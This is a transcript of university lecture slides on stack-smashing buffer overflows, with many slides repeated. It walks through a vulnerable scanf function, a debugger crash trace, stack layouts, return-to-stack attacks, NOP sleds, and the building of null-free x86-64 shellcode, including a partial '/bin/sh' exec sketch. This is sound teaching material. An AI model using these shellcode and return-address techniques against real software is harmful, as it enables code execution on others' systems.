StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor...

71
Stack Smashing 1

Transcript of StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor...

Page 1: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

Stack Smashing

1

Page 2: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

logisticsLEX assignment out

exam in on week

come with questions on Monday (review)

2

Page 3: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

last few times“encrypted” codechanging code — polymorphic, metamorphicanti-VM/emulationanti-debuggingstealthtunnelingretrovirusesmemory residence

3

Page 4: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: vulnerabilitiestrojans: the vulnerability is the user

and/or the user interface

otherwise?

software vulnerability

unintended program behaviorthat can be used by an adversary

4

Page 5: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerability versus exploitexploit — something that uses a vulnerability to do something

proof-of-concept — something = demonstration the exploit is thereexample: open a calculator program

5

Page 6: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: software vulnerability types (1)memory safety bugs

problems with pointersbig topic in this course

“injection” bugs — type confusioncommands/SQL within name, label, etc.

integer overflow/underflow

…

6

Page 7: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: software vulnerability types (2)not checking inputs/permissions

http://webserver.com/../../../../file-I-shouldn't-get.txt

almost any ’s “undefined behavior” in C/C++

synchronization bugs: time-to-check to time-of-use

… more?

7

http://webserver.com/../../../../file-I-shouldn't-get.txt
http://webserver.com/../../../../file-I-shouldn't-get.txt
Page 8: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerabilities and malware“arbitrary code execution” vulnerabilities

method for malware to spread when programs aren’t shared

often more effective than via copying executable

recall: Morris worm

8

Page 9: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerabilities and malware“arbitrary code execution” vulnerabilities

method for malware to spread when programs aren’t shared

often more effective than via copying executable

recall: Morris worm

8

Page 10: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

Morris worm vulnerabilitiescommand injection bug in sendmail (later)

buffer overflow in fingerdsend 536-byte string for 512-byte bufferservice for looking up user infowho is “john@mit”; how do I contact him?note: pre-search engine/web

9

Page 11: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

Szor taxonomy of exploitsSzor divides buffer overflows into first-, second-, third-“generation”

first-generation: simple stack smashing

second-generation: other stack/pointer overwriting

third-generation: format string, heap structure exploits (mallocinternals, etc.)

10

Page 12: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

typical buffer overflow patterncause program to write past the end of a buffer

that somehow causes different code to run

(usually code the attacker wrote)

11

Page 13: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

why buffer overflows?probably most common type of vulnerability until recently

(and not by a small margin)

when website vulnerabilities became more common

12

Page 14: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

network worms and overflowsworms that connect to vulnerable servers:

Morris worm included some buffer overflow exploitsin mail servers, user info servers

2001: Code Red worm that spread to web servers (runningMicrosoft IIS)

13

Page 15: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

overflows without serversbugs dealing with corrupt files:

Adobe Flash (web browser plugin)PDF readersweb browser JavaScript enginesimage viewersmovie viewersdecompression programs…

14

Page 16: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

Stack Smashingoriginal, most common buffer overflow exploit

worked for most buffers on the stack(“worked”? we’ll talk later)

15

Page 17: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

Aleph1, Smashing the Stack for Fun andProfit“non-traditional literature”; released 1996by Aleph1 AKA Elias Levy

.oO Phrack 49 Oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

BugTraq, r00t, and Underground.Orgbring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXSmashing The Stack For Fun And ProfitXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

by Aleph [email protected] 16

Page 18: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable codevoid vulnerable() {

char buffer[100];

// read string from stdinscanf("%s", buffer);

do_something_with(buffer);}

what if I input 1000 character string?

17

Page 19: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable codevoid vulnerable() {

char buffer[100];

// read string from stdinscanf("%s", buffer);

do_something_with(buffer);}

what if I input 1000 character string?

17

Page 20: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

1000 character string$ cat 1000-as.txtaaaaaaaaaaaaaaaaaaaaaaaa (1000 a’s total)$ ./vulnerable.exe <1000-as.txtSegmentation fault (core dumped)$

18

Page 21: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

1000 character string – debugger$ gdb ./vulnerable.exe...Reading symbols from ./overflow.exe...done.(gdb) run <1000-as.txtStarting program: /home/cr4bd/spring2017/cs4630/slides/20170220/overflow.exe <1000-as.txt

Program received signal SIGSEGV, Segmentation fault.0x0000000000400562 in vulnerable () at overflow.c:1313 }(gdb) backtrace#0 0x0000000000400562 in vulnerable () at overflow.c:13#1 0x6161616161616161 in ?? ()#2 0x6161616161616161 in ?? ()#3 0x6161616161616161 in ?? ()#4 0x6161616161616161 in ?? ().........#108 0x6161616161616161 in ?? ()#109 0x6161616161616161 in ?? ()#110 0x6161616161616161 in ?? ()#111 0x0000000000000000 in ?? ()(gdb)

19

Page 22: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — assemblyvulnerable:

subq $120, %rsp /* allocate 120 bytes on stack */movq %rsp, %rsi /* scanf arg 1 = rsp = buffer */movl $.LC0, %edi /* scanf arg 2 = "%s" */xorl %eax, %eax /* eax = 0 (see calling convention) */call __isoc99_scanf /* call to scanf() */movq %rsp, %rdi /* do_something_with arg 1 = rsp = buffer */call do_something_withaddq $120, %rsp /* deallocate 120 bytes from stack */ret

exercise: stack layout when scanf is running

20

Page 23: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — assemblyvulnerable:

subq $120, %rsp /* allocate 120 bytes on stack */movq %rsp, %rsi /* scanf arg 1 = rsp = buffer */movl $.LC0, %edi /* scanf arg 2 = "%s" */xorl %eax, %eax /* eax = 0 (see calling convention) */call __isoc99_scanf /* call to scanf() */movq %rsp, %rdi /* do_something_with arg 1 = rsp = buffer */call do_something_withaddq $120, %rsp /* deallocate 120 bytes from stack */ret

exercise: stack layout when scanf is running

20

Page 24: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — stack usage

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:41 02 40 00 00 00 00 00 (0x400241)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

61 61 61 61 61 61 61 … (was buffer + unused)

61 61 61 61 61 61 61 61 61 6161 61 61 61 61 61 61 61

61 61 61 61 61 61 61 61 (0x6161616161616161)

61 61 61 61 61 61 61 61

21

Page 25: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — stack usage

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:41 02 40 00 00 00 00 00 (0x400241)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

61 61 61 61 61 61 61 … (was buffer + unused)

61 61 61 61 61 61 61 61 61 6161 61 61 61 61 61 61 61

61 61 61 61 61 61 61 61 (0x6161616161616161)

61 61 61 61 61 61 61 61

21

Page 26: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — stack usage

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:41 02 40 00 00 00 00 00 (0x400241)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

61 61 61 61 61 61 61 … (was buffer + unused)

61 61 61 61 61 61 61 61 61 6161 61 61 61 61 61 61 61

61 61 61 61 61 61 61 61 (0x6161616161616161)

61 61 61 61 61 61 61 61

21

Page 27: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — stack usage

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:41 02 40 00 00 00 00 00 (0x400241)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

61 61 61 61 61 61 61 … (was buffer + unused)

61 61 61 61 61 61 61 61 61 6161 61 61 61 61 61 61 61

61 61 61 61 61 61 61 61 (0x6161616161616161)

…61 61 61 61 61 61 61 61

21

Page 28: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

vulnerable code — stack usage

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:41 02 40 00 00 00 00 00 (0x400241)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

61 61 61 61 61 61 61 … (was buffer + unused)

61 61 61 61 61 61 61 61 61 6161 61 61 61 61 61 61 61

61 61 61 61 61 61 61 61 (0x6161616161616161)

debugger’s guess: return address for 0x6161…6161:61 61 61 61 61 61 61 61

21

Page 29: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

the crash0x0000000000400548 <+0>: sub $0x78,%rsp0x000000000040054c <+4>: mov %rsp,%rsi0x000000000040054f <+7>: mov $0x400604,%edi0x0000000000400554 <+12>: mov $0x0,%eax0x0000000000400559 <+17>: callq 0x400430 <__isoc99_scanf@plt>0x000000000040055e <+22>: add $0x78,%rsp

=> 0x0000000000400562 <+26>: retq

retq tried to jump to 0x61616161 61616161

…but there was nothing there

what if it wasn’t invalid?

22

Page 30: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

the crash0x0000000000400548 <+0>: sub $0x78,%rsp0x000000000040054c <+4>: mov %rsp,%rsi0x000000000040054f <+7>: mov $0x400604,%edi0x0000000000400554 <+12>: mov $0x0,%eax0x0000000000400559 <+17>: callq 0x400430 <__isoc99_scanf@plt>0x000000000040055e <+22>: add $0x78,%rsp

=> 0x0000000000400562 <+26>: retq

retq tried to jump to 0x61616161 61616161

…but there was nothing there

what if it wasn’t invalid?

22

Page 31: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

return-to-stack

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:70 fd ff ff ff ff 00 00 (0x7fff ffff fd70)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

machine code for the attacker to run

23

Page 32: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

return-to-stack

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:70 fd ff ff ff ff 00 00 (0x7fff ffff fd70)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

machine code for the attacker to run

23

Page 33: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

constructing the attackwrite “shellcode” — machine code to execute

often called “shellcode” because often intended to get login shell(when in a remote application)

insert overwritten return address value

24

Page 34: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

constructing the attackwrite “shellcode” — machine code to execute

often called “shellcode” because often intended to get login shell(when in a remote application)

insert overwritten return address value

24

Page 35: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

shellcode challengesideal is like virus code: works in any executable

no linking — no library functions by name

probably exit application — can’t return normally(or a bunch more work to restore original return value)

25

Page 36: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: virus codeleal string(%rip), %edipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

opcode for leaModRM byte:

32-bit displacement; %rdi32-bit offset from instruction

opcode for push 32-bit constant32-bit constant (extended to 64-bits)

26

Page 37: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: virus codeleal string(%rip), %edipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

8d 3d 06 00 00 00 (leal) opcode for leaModRM byte:

32-bit displacement; %rdi32-bit offset from instruction

opcode for push 32-bit constant32-bit constant (extended to 64-bits)

26

Page 38: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: virus codeleal string(%rip), %edipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

8d 3d 06 00 00 00 (leal)68 e0 04 40 00 (pushq)

opcode for leaModRM byte:

32-bit displacement; %rdi32-bit offset from instruction

opcode for push 32-bit constant32-bit constant (extended to 64-bits)

26

Page 39: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

recall: virus codeleal string(%rip), %edipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

8d 3d 06 00 00 00 (leal)68 e0 04 40 00 (pushq)c3 (retq)

opcode for leaModRM byte:

32-bit displacement; %rdi32-bit offset from instruction

opcode for push 32-bit constant32-bit constant (extended to 64-bits)

26

Page 40: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (1)leaq string(%rip), %rdipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

48 8d 3d 06 00 00 00 (leaq)68 e0 04 40 00 (pushq)c3 (retq)

REX prefix for 64-bitopcode for leaModRM byte: 32-bit displacement; %rdi32-bit offset from instruction

leaq not lealstack address > 0xFFFF FFFFproblem: what if we don’t knowwhere puts is?

27

Page 41: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (1)leaq string(%rip), %rdipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

48 8d 3d 06 00 00 00 (leaq)68 e0 04 40 00 (pushq)c3 (retq)

REX prefix for 64-bitopcode for leaModRM byte: 32-bit displacement; %rdi32-bit offset from instruction

leaq not lealstack address > 0xFFFF FFFF

problem: what if we don’t knowwhere puts is?

27

Page 42: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (1)leaq string(%rip), %rdipushq $0x4004e0 /* address of puts */retq

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!"

48 8d 3d 06 00 00 00 (leaq)68 e0 04 40 00 (pushq)c3 (retq)

REX prefix for 64-bitopcode for leaModRM byte: 32-bit displacement; %rdi32-bit offset from instruction

leaq not lealstack address > 0xFFFF FFFF

problem: what if we don’t knowwhere puts is?

27

Page 43: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (2)/* Linux system call (OS request):

write(1, string, length)*/leaq string(%rip), %rsimovl $1, %eaxmovl $37, %edi/* "request to OS" instruction */syscall

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!\n"

48 8d 35 0c 00 00 00 (leaq)b8 01 00 00 00 (movq %eax)bf 25 00 00 00 (movq %edi)0f 05 (syscall)

problem: after syscall — crash!

28

Page 44: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (2)/* Linux system call (OS request):

write(1, string, length)*/leaq string(%rip), %rsimovl $1, %eaxmovl $37, %edi/* "request to OS" instruction */syscall

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!\n"

48 8d 35 0c 00 00 00 (leaq)b8 01 00 00 00 (movq %eax)bf 25 00 00 00 (movq %edi)0f 05 (syscall)

problem: after syscall — crash!

28

Page 45: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (3)

/* Linux system call (OS request):write(1, string, length)

*/leaq string(%rip), %rsimovl $1, %eaxmovl $37, %edisyscall/* Linux system call:

exit_group(0)*/movl $231, %eaxxor %edi, %edisyscall

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!\n"

tell OS to exit

29

Page 46: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

virus code to shell-code (3)

/* Linux system call (OS request):write(1, string, length)

*/leaq string(%rip), %rsimovl $1, %eaxmovl $37, %edisyscall/* Linux system call:

exit_group(0)*/movl $231, %eaxxor %edi, %edisyscall

string:.asciz "You␣have␣been␣infected␣with␣a␣virus!\n"

tell OS to exit

29

Page 47: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

constructing the attackwrite “shellcode” — machine code to execute

often called “shellcode” because often intended to get login shell(when in a remote application)

insert overwritten return address value

30

Page 48: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

finding/setting return addressexamine target executable disassembly

figure out how much is allocated on the stack below itknown stack start location to set return address

guesslocation of return addressaddress of maachine code

31

Page 49: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

finding/setting return addressexamine target executable disassembly

figure out how much is allocated on the stack below itknown stack start location to set return address

guesslocation of return addressaddress of maachine code

31

Page 50: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

finding/setting return addressexamine target executable disassembly

figure out how much is allocated on the stack below itknown stack start location to set return address

guesslocation of return addressaddress of maachine code

31

Page 51: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

really, guess??how long the could buffer + local variables be?

how far from the top of the stack could function call be?

32

Page 52: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

making guessing easier (1)

xor %eax, %eaxleaq command(%rip), %rbx/* setup "exec" system call */......mov $11, %alsyscall

command: .ascii "/bin/sh"

normal shellcodenop /* one−byte nop */nopnopnopnopnopnopxor %eax, %eaxlea command(%rip), %rbx......command: .ascii "/bin/sh"

easier to “guess” shellcode

33

Page 53: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

making guessing easier (2)knowing where return address is stored is easier

based on buffer length + number of locals + compilersmall variation between platforms for an application

easy to guess — but can try multiple at once, if needed

34

Page 54: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

guessed return-to-stack

incr

easin

gad

dres

ses

highest address (stack started here)

lowest address (stack grows here)

return address for vulnerable:70 fd ff ff ff ff 00 00 (0x7fff ffff fd70)

unused space (20 bytes)

buffer (100 bytes)

return address for scanf

nops (was part of buffer)

machine code (was buffer + unused)

35

Page 55: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

some logistical issuesSure, 1000 a’s can be read by scanf with %s, but machine code?

36

Page 56: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

scanf accepted characters%s — “Matches a sequence of non-white-space characters”

can’t use:␣

\t\v (“vertical tab”)\r (“carriage return”)\n

not actually that much of a restriction

what about \0 — we used a lot of those

37

Page 57: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

shell code without 0sshellcode:

jmp afterStringstring:

.ascii "You␣have␣been..."afterString:

leaq string(%rip), %rsixor %eax, %eaxxor %edi, %edimovb $1, %almovb $37, %dlsyscallmovb $231, %alxor %edi, %edisyscall

one-byte constants/offsetsso no leading zero bytesjmp afterString is eb 25

(jump forward 0x25 bytes)movb $1, %al is b0 01

four-byte offset, but negatived4 ff ff ff (-44)

38

Page 58: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

shell code without 0sshellcode:

jmp afterStringstring:

.ascii "You␣have␣been..."afterString:

leaq string(%rip), %rsixor %eax, %eaxxor %edi, %edimovb $1, %almovb $37, %dlsyscallmovb $231, %alxor %edi, %edisyscall

one-byte constants/offsetsso no leading zero bytesjmp afterString is eb 25

(jump forward 0x25 bytes)movb $1, %al is b0 01

four-byte offset, but negatived4 ff ff ff (-44)

38

Page 59: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

shell code without 0sshellcode:

jmp afterStringstring:

.ascii "You␣have␣been..."afterString:

leaq string(%rip), %rsixor %eax, %eaxxor %edi, %edimovb $1, %almovb $37, %dlsyscallmovb $231, %alxor %edi, %edisyscall

one-byte constants/offsetsso no leading zero bytesjmp afterString is eb 25

(jump forward 0x25 bytes)movb $1, %al is b0 01

four-byte offset, but negatived4 ff ff ff (-44)

38

Page 60: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

shell code without 0s0000000000000000 <shellcode>:

0: eb 25 jmp 27 <afterString>

0000000000000002 <string>:...

0000000000000027 <afterString>:27: 48 8d 35 d4 ff ff ff lea -0x2c(%rip),%rsi # 2 <string>2e: 31 c0 xor %eax,%eax30: 31 ff xor %edi,%edi32: b0 01 mov $0x1,%al34: b2 25 mov $0x25,%dl36: 0f 05 syscall38: b0 e7 mov $0xe7,%al3a: 31 ff xor %edi,%edi3c: 0f 05 syscall

39

Page 61: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

x86 flexibilityx86 opcodes that are normal ASCII chars are pretty flexibile0–5

various forms of xor

@, A–Z, [, \, ], ^, _inc, dec, push, pop with first eight 32-bit registers

h — push one-byte constant

p–z — conditional jumps to 1-byte offset

note: can write machine code, jump to it

40

Page 62: StackSmashing - Computer Sciencecr4bd/4630/S2017/...Feb 22, 2017  · leaq string(%rip), %rsi xor %eax, %eax xor %edi, %edi movb $1, %al movb $37, %dl syscall movb $231, %al xor %edi,

x86 flexibilityx86 opcodes that are normal ASCII chars are pretty flexibile0–5

various forms of xor

@, A–Z, [, \, ], ^, _inc, dec, push, pop with first eight 32-bit registers

h — push one-byte constant

p–z — conditional jumps to 1-byte offset

note: can write machine code, jump to it40

